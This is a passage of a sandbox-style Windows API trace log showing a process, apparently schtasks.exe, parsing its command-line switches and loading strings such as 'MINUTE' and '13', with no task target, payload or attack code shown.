returned 6 [0065.823] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.824] lstrlenW (lpString="f") returned 1 [0065.824] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.824] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.824] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.824] lstrlenW (lpString="|create|") returned 8 [0065.824] lstrlenW (lpString="|f|") returned 3 [0065.824] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0065.824] SetLastError (dwErrCode=0x490) [0065.824] lstrlenW (lpString="?") returned 1 [0065.824] lstrlenW (lpString="?") returned 1 [0065.824] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.824] lstrlenW (lpString="f") returned 1 [0065.825] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.825] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|?|") returned 3 [0065.825] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.825] lstrlenW (lpString="|?|") returned 3 [0065.825] lstrlenW (lpString="|f|") returned 3 [0065.825] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0065.825] SetLastError (dwErrCode=0x490) [0065.825] lstrlenW (lpString="s") returned 1 [0065.825] lstrlenW (lpString="s") returned 1 [0065.825] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.825] lstrlenW (lpString="f") returned 1 [0065.825] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.825] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|s|") returned 3 [0065.825] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.826] lstrlenW (lpString="|s|") returned 3 [0065.826] lstrlenW (lpString="|f|") returned 3 [0065.826] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0065.826] SetLastError (dwErrCode=0x490) [0065.826] lstrlenW (lpString="u") returned 1 [0065.826] lstrlenW (lpString="u") returned 1 [0065.826] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.826] lstrlenW (lpString="f") returned 1 [0065.826] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.826] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|u|") returned 3 [0065.826] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.826] lstrlenW (lpString="|u|") returned 3 [0065.826] lstrlenW (lpString="|f|") returned 3 [0065.826] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0065.826] SetLastError (dwErrCode=0x490) [0065.826] lstrlenW (lpString="p") returned 1 [0065.826] lstrlenW (lpString="p") returned 1 [0065.826] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.826] lstrlenW (lpString="f") returned 1 [0065.826] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.826] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|p|") returned 3 [0065.826] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.826] lstrlenW (lpString="|p|") returned 3 [0065.827] lstrlenW (lpString="|f|") returned 3 [0065.827] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0065.827] SetLastError (dwErrCode=0x490) [0065.827] lstrlenW (lpString="ru") returned 2 [0065.827] lstrlenW (lpString="ru") returned 2 [0065.827] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.827] lstrlenW (lpString="f") returned 1 [0065.827] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.827] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ru|") returned 4 [0065.827] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.827] lstrlenW (lpString="|ru|") returned 4 [0065.827] lstrlenW (lpString="|f|") returned 3 [0065.827] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0065.827] SetLastError (dwErrCode=0x490) [0065.827] lstrlenW (lpString="rp") returned 2 [0065.827] lstrlenW (lpString="rp") returned 2 [0065.827] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.827] lstrlenW (lpString="f") returned 1 [0065.827] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.827] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|rp|") returned 4 [0065.827] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.827] lstrlenW (lpString="|rp|") returned 4 [0065.827] lstrlenW (lpString="|f|") returned 3 [0065.828] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0065.828] SetLastError (dwErrCode=0x490) [0065.828] lstrlenW (lpString="sc") returned 2 [0065.828] lstrlenW (lpString="sc") returned 2 [0065.828] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.828] lstrlenW (lpString="f") returned 1 [0065.828] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.828] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.828] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.828] lstrlenW (lpString="|sc|") returned 4 [0065.828] lstrlenW (lpString="|f|") returned 3 [0065.828] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0065.828] SetLastError (dwErrCode=0x490) [0065.828] lstrlenW (lpString="mo") returned 2 [0065.828] lstrlenW (lpString="mo") returned 2 [0065.828] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.828] lstrlenW (lpString="f") returned 1 [0065.828] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.828] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.828] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.828] lstrlenW (lpString="|mo|") returned 4 [0065.829] lstrlenW (lpString="|f|") returned 3 [0065.829] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0065.829] SetLastError (dwErrCode=0x490) [0065.829] lstrlenW (lpString="d") returned 1 [0065.829] lstrlenW (lpString="d") returned 1 [0065.829] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.829] lstrlenW (lpString="f") returned 1 [0065.829] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.829] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|d|") returned 3 [0065.829] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.829] lstrlenW (lpString="|d|") returned 3 [0065.829] lstrlenW (lpString="|f|") returned 3 [0065.829] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0065.829] SetLastError (dwErrCode=0x490) [0065.829] lstrlenW (lpString="m") returned 1 [0065.829] lstrlenW (lpString="m") returned 1 [0065.829] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.829] lstrlenW (lpString="f") returned 1 [0065.829] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.829] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|m|") returned 3 [0065.829] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.829] lstrlenW (lpString="|m|") returned 3 [0065.829] lstrlenW (lpString="|f|") returned 3 [0065.830] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0065.830] SetLastError (dwErrCode=0x490) [0065.830] lstrlenW (lpString="i") returned 1 [0065.830] lstrlenW (lpString="i") returned 1 [0065.830] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.830] lstrlenW (lpString="f") returned 1 [0065.830] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.830] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|i|") returned 3 [0065.830] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.830] lstrlenW (lpString="|i|") returned 3 [0065.830] lstrlenW (lpString="|f|") returned 3 [0065.830] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0065.830] SetLastError (dwErrCode=0x490) [0065.830] lstrlenW (lpString="tn") returned 2 [0065.830] lstrlenW (lpString="tn") returned 2 [0065.830] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.830] lstrlenW (lpString="f") returned 1 [0065.830] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.830] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.830] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.830] lstrlenW (lpString="|tn|") returned 4 [0065.830] lstrlenW (lpString="|f|") returned 3 [0065.830] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0065.830] SetLastError (dwErrCode=0x490) [0065.830] lstrlenW (lpString="tr") returned 2 [0065.830] lstrlenW (lpString="tr") returned 2 [0065.830] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.831] lstrlenW (lpString="f") returned 1 [0065.831] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.831] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.831] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.831] lstrlenW (lpString="|tr|") returned 4 [0065.831] lstrlenW (lpString="|f|") returned 3 [0065.831] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0065.831] SetLastError (dwErrCode=0x490) [0065.831] lstrlenW (lpString="st") returned 2 [0065.831] lstrlenW (lpString="st") returned 2 [0065.831] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.831] lstrlenW (lpString="f") returned 1 [0065.831] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.831] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|st|") returned 4 [0065.831] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.831] lstrlenW (lpString="|st|") returned 4 [0065.831] lstrlenW (lpString="|f|") returned 3 [0065.831] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0065.831] SetLastError (dwErrCode=0x490) [0065.831] lstrlenW (lpString="sd") returned 2 [0065.831] lstrlenW (lpString="sd") returned 2 [0065.831] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.831] lstrlenW (lpString="f") returned 1 [0065.831] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.831] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sd|") returned 4 [0065.831] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.831] lstrlenW (lpString="|sd|") returned 4 [0065.831] lstrlenW (lpString="|f|") returned 3 [0065.832] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0065.832] SetLastError (dwErrCode=0x490) [0065.832] lstrlenW (lpString="ed") returned 2 [0065.832] lstrlenW (lpString="ed") returned 2 [0065.832] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.832] lstrlenW (lpString="f") returned 1 [0065.832] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.832] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ed|") returned 4 [0065.832] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.832] lstrlenW (lpString="|ed|") returned 4 [0065.832] lstrlenW (lpString="|f|") returned 3 [0065.832] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0065.832] SetLastError (dwErrCode=0x490) [0065.832] lstrlenW (lpString="it") returned 2 [0065.832] lstrlenW (lpString="it") returned 2 [0065.832] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.832] lstrlenW (lpString="f") returned 1 [0065.832] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.832] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|it|") returned 4 [0065.832] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.832] lstrlenW (lpString="|it|") returned 4 [0065.832] lstrlenW (lpString="|f|") returned 3 [0065.832] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0065.832] SetLastError (dwErrCode=0x490) [0065.832] lstrlenW (lpString="et") returned 2 [0065.832] lstrlenW (lpString="et") returned 2 [0065.832] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.833] lstrlenW (lpString="f") returned 1 [0065.833] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.833] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|et|") returned 4 [0065.833] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.833] lstrlenW (lpString="|et|") returned 4 [0065.833] lstrlenW (lpString="|f|") returned 3 [0065.833] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0065.833] SetLastError (dwErrCode=0x490) [0065.833] lstrlenW (lpString="k") returned 1 [0065.833] lstrlenW (lpString="k") returned 1 [0065.833] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.833] lstrlenW (lpString="f") returned 1 [0065.833] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.833] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|k|") returned 3 [0065.833] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.833] lstrlenW (lpString="|k|") returned 3 [0065.833] lstrlenW (lpString="|f|") returned 3 [0065.833] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0065.833] SetLastError (dwErrCode=0x490) [0065.833] lstrlenW (lpString="du") returned 2 [0065.833] lstrlenW (lpString="du") returned 2 [0065.833] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.833] lstrlenW (lpString="f") returned 1 [0065.833] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.833] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|du|") returned 4 [0065.833] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.833] lstrlenW (lpString="|du|") returned 4 [0065.833] lstrlenW (lpString="|f|") returned 3 [0065.834] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0065.834] SetLastError (dwErrCode=0x490) [0065.834] lstrlenW (lpString="ri") returned 2 [0065.834] lstrlenW (lpString="ri") returned 2 [0065.834] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.834] lstrlenW (lpString="f") returned 1 [0065.834] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.834] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ri|") returned 4 [0065.834] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.834] lstrlenW (lpString="|ri|") returned 4 [0065.834] lstrlenW (lpString="|f|") returned 3 [0065.834] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0065.834] SetLastError (dwErrCode=0x490) [0065.834] lstrlenW (lpString="z") returned 1 [0065.834] lstrlenW (lpString="z") returned 1 [0065.834] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.834] lstrlenW (lpString="f") returned 1 [0065.834] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.834] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|z|") returned 3 [0065.834] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.834] lstrlenW (lpString="|z|") returned 3 [0065.834] lstrlenW (lpString="|f|") returned 3 [0065.834] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0065.834] SetLastError (dwErrCode=0x490) [0065.834] lstrlenW (lpString="f") returned 1 [0065.834] lstrlenW (lpString="f") returned 1 [0065.834] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.834] lstrlenW (lpString="f") returned 1 [0065.834] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.835] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.835] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|f|") returned 3 [0065.835] lstrlenW (lpString="|f|") returned 3 [0065.835] lstrlenW (lpString="|f|") returned 3 [0065.835] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0065.835] SetLastError (dwErrCode=0x0) [0065.835] SetLastError (dwErrCode=0x0) [0065.835] GetProcessHeap () returned 0x2d0000 [0065.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf20 [0065.835] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.835] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0065.835] lstrlenW (lpString="MINUTE") returned 6 [0065.835] GetProcessHeap () returned 0x2d0000 [0065.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed720 [0065.835] GetThreadLocale () returned 0x409 [0065.835] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0065.835] SetLastError (dwErrCode=0x0) [0065.835] GetProcessHeap () returned 0x2d0000 [0065.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x1fc) returned 0x2ec6d0 [0065.835] GetProcessHeap () returned 0x2d0000 [0065.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecef0 [0065.835] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.835] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0065.835] lstrlenW (lpString="First") returned 5 [0065.835] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed740 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecec0 [0065.836] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.836] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0065.836] lstrlenW (lpString="Second") returned 6 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed760 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece90 [0065.836] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.836] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0065.836] lstrlenW (lpString="Third") returned 5 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed780 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece60 [0065.836] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.836] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0065.836] lstrlenW (lpString="Fourth") returned 6 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed7a0 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece30 [0065.836] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.836] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0065.836] lstrlenW (lpString="Last") returned 4 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ed7c0 [0065.836] lstrlenW (lpString="13") returned 2 [0065.836] _wtol (_String="13") returned 13 [0065.836] GetProcessHeap () returned 0x2d0000 [0065.837] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece00 [0065.837] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.837] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0065.837] lstrlenW (lpString="First") returned 5 [0065.837] GetProcessHeap () returned 0x2d0000 [0065.837] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed7e0 [0065.837] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.837] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0065.837] lstrlenW (lpString="Second") returned 6 [0065.837] GetProcessHeap () returned 0x2d0000 [0065.837] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed800 [0065.837] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.837] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0065.837] lstrlenW (lpString="Third") returned 5 [0065.837] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.837] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0065.837] lstrlenW (lpString="Fourth") returned 6 [0065.837] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.837] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0065.837] lstrlenW (lpString="Last") returned 4 [0065.837] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdbfe0, cchData=128 | out: lpLCData="0") returned 2 [0065.837] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.837] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0065.837] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740) returned 1 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed740) returned 0xc [0065.838] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740 | out: hHeap=0x2d0000) returned 1 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed740 [0065.838] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc000, cchData=128 | out: lpLCData="0") returned 2 [0065.838] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.838] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0065.838] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] GetProcessHeap () returned 0x2d0000 